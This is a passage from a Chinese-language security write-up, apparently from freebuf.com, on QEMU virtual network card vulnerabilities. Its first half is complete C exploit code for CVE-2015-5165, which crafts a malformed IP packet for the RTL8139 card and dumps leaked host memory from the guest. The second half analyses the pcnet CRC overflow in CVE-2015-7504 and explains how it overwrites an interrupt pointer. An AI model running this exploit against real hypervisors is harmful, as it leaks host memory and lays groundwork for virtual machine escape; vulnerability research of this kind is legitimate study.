RxMissed = 0x4C, /* 24 bits valid, write clears. */
Cfg9346 = 0x50,
Config0 = 0x51,
Config1 = 0x52,
FlashReg = 0x54,
MediaStatus = 0x58,
Config3 = 0x59,
Config4 = 0x5A, /* absent on RTL-8139A */
HltClk = 0x5B,
MultiIntr = 0x5C,
PCIRevisionID = 0x5E,
TxSummary = 0x60, /* TSAD register. Transmit Status of All Descriptors*/
BasicModeCtrl = 0x62,
BasicModeStatus = 0x64,
NWayAdvert = 0x66,
NWayLPAR = 0x68,
NWayExpansion = 0x6A,
/* Undocumented registers, but required for proper operation. */
FIFOTMS = 0x70, /* FIFO Control and test. */
CSCR = 0x74, /* Chip Status and Configuration Register. */
PARA78 = 0x78,
PARA7c = 0x7c, /* Magic transceiver parameter register. */
Config5 = 0xD8, /* absent on RTL-8139A */
/* C+ mode */
TxPoll = 0xD9, /* Tell chip to check Tx descriptors for work */
RxMaxSize = 0xDA, /* Max size of an Rx packet (8169 only) */
CpCmd = 0xE0, /* C+ Command register (C+ mode only) */
IntrMitigate = 0xE2, /* rx/tx interrupt mitigation control */
RxRingAddrLO = 0xE4, /* 64-bit start addr of Rx ring */
RxRingAddrHI = 0xE8, /* 64-bit start addr of Rx ring */
TxThresh = 0xEC, /* Early Tx threshold */
};
/* Bits in TxConfig. */
enum tx_config_bits {
/* Interframe Gap Time. Only TxIFG96 doesn't violate IEEE 802.3 */
TxIFGShift = 24,
TxIFG84 = (0 << TxIFGShift), /* 8.4us / 840ns (10 / 100Mbps) */
TxIFG88 = (1 << TxIFGShift), /* 8.8us / 880ns (10 / 100Mbps) */
TxIFG92 = (2 << TxIFGShift), /* 9.2us / 920ns (10 / 100Mbps) */
TxIFG96 = (3 << TxIFGShift), /* 9.6us / 960ns (10 / 100Mbps) */
TxLoopBack = (1 << 18) | (1 << 17), /* enable loopback test mode */
TxCRC = (1 << 16), /* DISABLE appending CRC to end of Tx packets */
TxClearAbt = (1 << 0), /* Clear abort (WO) */
TxDMAShift = 8, /* DMA burst value (0-7) is shifted this many bits */
TxRetryShift = 4, /* TXRR value (0-15) is shifted this many bits */
TxVersionMask = 0x7C800000, /* mask out version bits 30-26, 23 */
};
/* Bits in RxConfig. */
enum rx_mode_bits {
AcceptErr = 0x20,
AcceptRunt = 0x10,
AcceptBroadcast = 0x08,
AcceptMulticast = 0x04,
AcceptMyPhys = 0x02,
AcceptAllPhys = 0x01,
};
enum ChipCmdBits {
CmdReset = 0x10,
CmdRxEnb = 0x08,
CmdTxEnb = 0x04,
RxBufEmpty = 0x01,
};
/* C+ mode */
enum CplusCmdBits {
CPlusRxVLAN = 0x0040, /* enable receive VLAN detagging */
CPlusRxChkSum = 0x0020, /* enable receive checksum offloading */
CPlusRxEnb = 0x0002,
CPlusTxEnb = 0x0001,
};
/*描述符的数据结构(地址保存在TxAddr0)*/
struct rtl8139_desc {
uint32_t dw0;
uint32_t dw1;
uint32_t buf_lo;
uint32_t buf_hi;
};
struct rtl8139_ring {
struct rtl8139_desc *desc;
void *buffer;
};
#define RTL8139_BUFFER_SIZE 1514
/* w0 ownership flag */
#define CP_TX_OWN (1<<31)
/* w0 end of ring flag */
#define CP_TX_EOR (1<<30)
/* first segment of received packet flag */
#define CP_TX_FS (1<<29)
/* last segment of received packet flag */
#define CP_TX_LS (1<<28)
/* large send packet flag */
#define CP_TX_LGSEN (1<<27)
/* large send MSS mask, bits 16...25 */
#define CP_TC_LGSEN_MSS_MASK ((1 << 12) - 1)
/* IP checksum offload flag */
#define CP_TX_IPCS (1<<18)
/* UDP checksum offload flag */
#define CP_TX_UDPCS (1<<17)
/* TCP checksum offload flag */
#define CP_TX_TCPCS (1<<16)
/* w0 bits 0...15 : buffer size */
#define CP_TX_BUFFER_SIZE (1<<16)
#define CP_TX_BUFFER_SIZE_MASK (CP_TX_BUFFER_SIZE - 1)
/* w1 add tag flag */
#define CP_TX_TAGC (1<<17)
/* w1 bits 0...15 : VLAN tag (big endian) */
#define CP_TX_VLAN_TAG_MASK ((1<<16) - 1)
/* w2 low 32bit of Rx buffer ptr */
/* w3 high 32bit of Rx buffer ptr */
/* set after transmission */
/* FIFO underrun flag */
#define CP_TX_STATUS_UNF (1<<25)
/* transmit error summary flag, valid if set any of three below */
#define CP_TX_STATUS_TES (1<<23)
/* out-of-window collision flag */
#define CP_TX_STATUS_OWC (1<<22)
/* link failure flag */
#define CP_TX_STATUS_LNKF (1<<21)
/* excessive collisions flag */
#define CP_TX_STATUS_EXC (1<<20)
/* w0 ownership flag */
#define CP_RX_OWN (1<<31)
/* w0 end of ring flag */
#define CP_RX_EOR (1<<30)
/* w0 bits 0...12 : buffer size */
#define CP_RX_BUFFER_SIZE_MASK ((1<<13) - 1)
/* w1 tag available flag */
#define CP_RX_TAVA (1<<16)
/* w1 bits 0...15 : VLAN tag */
#define CP_RX_VLAN_TAG_MASK ((1<<16) - 1)
/* w2 low 32bit of Rx buffer ptr */
/* w3 high 32bit of Rx buffer ptr */
/*配置网络帧内容*/
uint8_t rtl8139_packet[] = {
//目标mac地址
0x52, 0x54, 0x00, 0x12, 0x34, 0x57,
//源mac地址
0x52, 0x54, 0x00, 0x12, 0x34, 0x57,
//代表IPV4
0x08, 0x00,
//报头长度
(0x04 << 4) | 0x05,
//TOS
0x00,
//这里由于我们需要设置长度为19,从而实现溢出(触发漏洞)
0x00, 0x13,
//Identification
0xde, 0xad,
//Flags & Fragment Offset(必须为64的整数倍,所以直接设置为64)
0x40, 0x00,
//TTL通常为32,64,128这里直接设置为64
0x40,
//Protocol为6代表TCP
0x06,
// Header checksum
0xde, 0xad,
//源IP:127.0.0.1
0x7f, 0x00, 0x00, 0x01,
//目的IP:127.0.0.1
0x7f, 0x00, 0x00, 0x01,
// IP Packet Payload 数据, 即 TCP 数据包
//源端口
0xde, 0xad,
//目的端口
0xbe, 0xef,
//Sequence Number
0x00, 0x00, 0x00, 0x00,
//Acknowledgement Number
0x00, 0x00, 0x00, 0x00,
//报头长度,其中Header Length只占4位,后面的4位加上下面ACK中的2位都是保留位,保留位必须为0
0x50,
//从第3位开始是Control Flags,其中第4位代表ACK
0x10,
//Window Size
0xde, 0xad,
//TCP checksum
0xde, 0xad,
//Urgent Pointer
0x00, 0x00
};
//使用pagemap通过虚拟地址计算物理地址
size_t virtuak_addr_to_physical_addr(void *addr){
uint64_t data;
int fd = open("/proc/self/pagemap",O_RDONLY);
if(!fd){
perror("open pagemap");
return 0;
}
size_t pagesize = getpagesize();
size_t offset = ((uintptr_t)addr / pagesize) * sizeof(uint64_t);
if(lseek(fd,offset,SEEK_SET) < 0){
puts("lseek");
close(fd);
return 0;
}
if(read(fd,&data,8) != 8){
puts("read");
close(fd);
return 0;
}
if(!(data & (((uint64_t)1 << 63)))){
puts("page");
close(fd);
return 0;
}
size_t pageframenum = data & ((1ull << 55) - 1);
size_t phyaddr = pageframenum * pagesize + (uintptr_t)addr % pagesize;
close(fd);
return phyaddr;
}
/*通过IO函数实现对PMIO端口的读写*/
void pmio_writeb(uint32_t data,uint32_t addr){
outb(data,pmio_port+addr);
}
void pmio_writew(uint32_t data,uint32_t addr){
outw(data,pmio_port+addr);
}
void pmio_writel(uint32_t data,uint32_t addr){
outl(data,pmio_port+addr);
}
uint32_t pmio_readb(uint32_t addr){
return (uint32_t)inb(addr);
}
uint32_t pmio_readw(uint32_t addr){
return (uint32_t)inw(addr);
}
uint32_t pmio_readl(uint32_t addr){
return (uint32_t)inl(addr);
}
/*初始化描述符*/
void rtl8139_desc_config_rx(struct rtl8139_ring* ring, struct rtl8139_desc* desc, size_t nb){
size_t buffer_size = RTL8139_BUFFER_SIZE + 4;
for (size_t i = 0; i < nb; ++i) {
memset(&desc[i], 0, sizeof(desc[i]));
ring[i].desc = &desc[i];
ring[i].buffer = aligned_alloc(PAGE_SIZE, buffer_size);
memset(ring[i].buffer, 0, buffer_size);
ring[i].desc->dw0 |= CP_RX_OWN;
ring[i].desc->dw0 |= buffer_size;
ring[i].desc->buf_lo = (uint32_t)virtuak_addr_to_physical_addr(ring[i].buffer);
}
pmio_writel((uint32_t)virtuak_addr_to_physical_addr(desc), RxRingAddrLO);
pmio_writel(0, RxRingAddrHI);
}
void rtl8139_desc_config_tx(struct rtl8139_desc* desc, void* buffer){
memset(desc,0,sizeof(struct rtl8139_desc));
desc->dw0 |= CP_TX_LS | CP_TX_OWN | CP_TX_EOR | CP_TX_IPCS | CP_TX_UDPCS | CP_TX_TCPCS | CP_TX_LGSEN;
desc->dw0 |= RTL8139_BUFFER_SIZE;
desc->buf_lo = (uint32_t)virtuak_addr_to_physical_addr(buffer);
pmio_writel((uint32_t)virtuak_addr_to_physical_addr(desc), TxAddr0);
pmio_writel(0,TxAddr0 + 4);
}
void rtl8139_card_config(){
pmio_writel(TxLoopBack, TxConfig); //开启TxLoopBack,使网卡数据回环
pmio_writel(AcceptMyPhys, RxConfig);
pmio_writew(CPlusRxEnb | CPlusTxEnb, CpCmd);
pmio_writeb(CmdRxEnb | CmdTxEnb, ChipCmd);
}
//将网络帧内容写给网卡
void rtl8139_packet_send(void* buffer, void* packet, size_t len) {
if (len <= RTL8139_BUFFER_SIZE)
{
memcpy(buffer, packet, len);
pmio_writeb(1<<6,TxPoll);
}
}
//打印本地网卡接收到的数据
void leak_data(uint8_t* ptr, size_t size)
{
for (size_t i = 0, j = 0; i < size; ++i, ++j)
{
if (i % 16 == 0)
{
j = 0;
printf("\n0x%08x: ", (uint32_t)(ptr + i));
}
printf("%02x ", ptr[i]);
if (j == 7)
{
printf("- ");
}
}
printf("\n");
}
int main(){
size_t rtl8139_rx_nb = 44;
struct rtl8139_ring *rtl8139_rx_ring;
struct rtl8139_desc *rtl8139_rx_desc, *rtl8139_tx_desc;
int fd = open("/proc/self/pagemap", O_RDONLY);
if (fd < 0) {
perror("open");
}
/*为描述符分配空间(这里使用aligned_alloc是为了起始地址对齐)*/
rtl8139_rx_ring = (struct rtl8139_ring *)aligned_alloc(
PAGE_SIZE, rtl8139_rx_nb * sizeof(struct rtl8139_ring));
rtl8139_rx_desc = (struct rtl8139_desc *)aligned_alloc(
PAGE_SIZE, rtl8139_rx_nb * sizeof(struct rtl8139_desc));
rtl8139_tx_desc = (struct rtl8139_desc *)aligned_alloc(
PAGE_SIZE, sizeof(struct rtl8139_desc));
void* rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE);
//使用iopl打开IO读写权限
iopl(3);
//按照之前的分析配置参数
rtl8139_desc_config_rx(rtl8139_rx_ring, rtl8139_rx_desc, rtl8139_rx_nb);
rtl8139_desc_config_tx(rtl8139_tx_desc, rtl8139_tx_buffer);
rtl8139_card_config();
//发送网络帧
rtl8139_packet_send(rtl8139_tx_buffer, rtl8139_packet, sizeof(rtl8139_packet));
sleep(2);
//读取网卡缓冲区内容,泄露内存信息
for (size_t i = 0; i < rtl8139_rx_nb; ++i)
{
leak_data((uint8_t*)rtl8139_rx_ring[i].buffer, RTL8139_BUFFER_SIZE);
}
}
CVE-2015-7504
cve-2015-7504漏洞存在于hw/net/pcnet.c的**pcnet_receive()**函数中,漏洞出现在对于数据包的crc校验计算中。
pcnet网卡
网卡有16位(默认)和32位两种模式,这取决于DWIO(存储在网卡上的变量)的实际值,16位模式是网卡重启后的默认模式。网卡有两种内部寄存器:CSR(控制和状态寄存器)和BCR(总线控制寄存器)。两种寄存器都需要通过设置对应的我们要访问的RAP(寄存器地址端口)寄存器来实现对相应CSR或BCR寄存器的访问。
pcnet_receive函数
当size值等于s->buffer的大小时,最后会越界四个字节。
ssize_t pcnet_receive(NetClientState *nc, const uint8_t *buf, size_t size_)
{
PCNetState *s = qemu_get_nic_opaque(nc);
int size = size_;
[...]
if (!(CSR_CRST(s) & 0x8000)) {
[...]
} else {
uint8_t *src = s->buffer; //存储网卡接收的数据
[...]
} else if (s->looptest == PCNET_LOOPTEST_CRC ||
!CSR_DXMTFCS(s) || size < MIN_BUF_SIZE+4) {
uint32_t fcs = ~0;
uint8_t *p = src;
while (p != &src[size]) //最大输入size长度的数据
CRC(fcs, *p++); // #define CRC(crc, ch) (crc = (crc >> 8) ^ crctab[(crc ^ (ch)) & 0xff])
*(uint32_t *)p = htonl(fcs); //多写4字节数据,导致溢出
size += 4;
} else {
[...]
}
[...]
pcnet_rdte_poll(s);
}
}
pcnet_poll(s);
pcnet_update_irq(s); //调用qemu_set_irq
return size_;
}
看一下PCNetState_st结构体。溢出s->buffer会覆盖到后面的qemu_irq irq变量
typedef struct PCNetState_st PCNetState;
struct PCNetState_st {
NICState *nic;
NICConf conf;
QEMUTimer *poll_timer;
int rap, isr, lnkst;
uint32_t rdra, tdra;
uint8_t prom[16];
uint16_t csr[128];
uint16_t bcr[32];
int xmit_pos;
uint64_t timer;
MemoryRegion mmio;
uint8_t buffer[4096];
qemu_irq irq;
void (*phys_mem_read)(void *dma_opaque, hwaddr addr,
uint8_t *buf, int len, int do_bswap);
void (*phys_mem_write)(void *dma_opaque, hwaddr addr,
uint8_t *buf, int len, int do_bswap);
void *dma_opaque;
int tx_busy;
int looptest;
};
找一下qemu_irq的定义(在irq.h中),是一个指向IRQState结构体的指针(4字节)。
// irq.h
typedef struct IRQState *qemu_irq;
// irq.c
struct IRQState {
Object parent_obj;
qemu_irq_handler handler;
void *opaque;
int n;
};
触发漏洞
追溯调用栈,pcnet_transmit函数在标志位BCR_SWSTYLE为1时会触发漏洞函数 pcnet_receive。
static void pcnet_transmit(PCNetState *s)
{
hwaddr xmit_cxda = 0;
int count = CSR_XMTRL(s)-1;
int add_crc = 0;
int bcnt;
s->xmit_pos = -1;
[...]
/* if multi-tmd packet outsizes s->buffer then skip it silently.
Note: this is not what real hw does */
if (s->xmit_pos + bcnt > sizeof(s->buffer)) {
s->xmit_pos = -1;
goto txdone;
}
[...]
if (CSR_LOOP(s)) {
if (BCR_SWSTYLE(s) == 1) //检查标志位BCR_SWSTYLE
add_crc = !GET_FIELD(tmd.status, TMDS, NOFCS);
s->looptest = add_crc ? PCNET_LOOPTEST_CRC : PCNET_LOOPTEST_NOCRC;
pcnet_receive(qemu_get_queue(s->nic), s->buffer, s->xmit_pos); //调用触发漏洞的函数
s->looptest = 0;
} else {
[...]
}
[...]
}
而pcnet_ioport_writew调用pcnet_csr_writew最终会调用pcnet_transmit。
void pcnet_ioport_writew(void *opaque, uint32_t addr, uint32_t val)
{
PCNetState *s = opaque;
pcnet_poll_timer(s);
#ifdef PCNET_DEBUG_IO
printf("pcnet_ioport_writew addr=0x%08x val=0x%04x\n", addr, val);
#endif
if (!BCR_DWIO(s)) {
switch (addr & 0x0f) {
case 0x00: /* RDP */
pcnet_csr_writew(s, s->rap, val); //进入pcnet_csr_writew分支
break;
case 0x02:
s->rap = val & 0x7f;
break;
case 0x06:
pcnet_bcr_writew(s, s->rap, val);
break;
}
}
pcnet_update_irq(s);
}
=====================================================================
static void pcnet_csr_writew(PCNetState *s, uint32_t rap, uint32_t new_value)
{
uint16_t val = new_value;
#ifdef PCNET_DEBUG_CSR
printf("pcnet_csr_writew rap=%d val=0x%04x\n", rap, val);
#endif
switch (rap) {
case 0:
s->csr[0] &= ~(val & 0x7f00); /* Clear any interrupt flags */
s->csr[0] = (s->csr[0] & ~0x0040) | (val & 0x0048);
val = (val & 0x007f) | (s->csr[0] & 0x7f00);
/* IFF STOP, STRT and INIT are set, clear STRT and INIT */
if ((val&7) == 7)
val &= ~3;
if (!CSR_STOP(s) && (val & 4))
pcnet_stop(s);
if (!CSR_INIT(s) && (val & 1))
pcnet_init(s);
if (!CSR_STRT(s) && (val & 2))
pcnet_start(s);
if (CSR_TDMD(s))
pcnet_transmit(s); //进入pcnet_transmit分支
return;
case 1:
case 2:
case 8:
case 9:
case 10:
case 11:
case 12:
case 13:
case 14:
case 15:
case 18: /* CRBAL */
case 19: /* CRBAU */
case 20: /* CXBAL */
case 21: /* CXBAU */
case 22: /* NRBAU */
case 23: /* NRBAU */
case 24:
case 25:
case 26:
case 27:
case 28:
case 29:
case 30:
case 31:
case 32:
case 33:
case 34:
case 35:
case 36:
case 37:
case 38:
case 39:
case 40: /* CRBC */
case 41:
case 42: /* CXBC */
case 43:
case 44:
case 45:
case 46: /* POLL */
case 47: /* POLLINT */
case 72:
case 74:
case 76: /* RCVRL */
case 78: /* XMTRL */
case 112:
if (CSR_STOP(s) || CSR_SPND(s))
break;
return;
case 3:
break;
case 4:
s->csr[4] &= ~(val & 0x026a);
val &= ~0x026a; val |= s->csr[4] & 0x026a;
break;
case 5:
s->csr[5] &= ~(val & 0x0a90);
val &= ~0x0a90; val |= s->csr[5] & 0x0a90;
break;
case 16:
pcnet_csr_writew(s,1,val);
return;
case 17:
pcnet_csr_writew(s,2,val);
return;
case 58:
pcnet_bcr_writew(s,BCR_SWS,val);
break;
default:
return;
}
s->csr[rap] = val;
}
参考
https://www.anquanke.com/post/id/197637
http://www.resery.top/2020/10/13/CVE-2015-5165%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0——QENU%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E/
https://blog.csdn.net/XscKernel/article/details/8298195
https://blog.csdn.net/weixin_43780260/article/details/104410063
https://www.anquanke.com/post/id/197638
来源:freebuf.com 2021-04-22 21:37:07 by: 北京星阑科技有限公司
请登录后发表评论
注册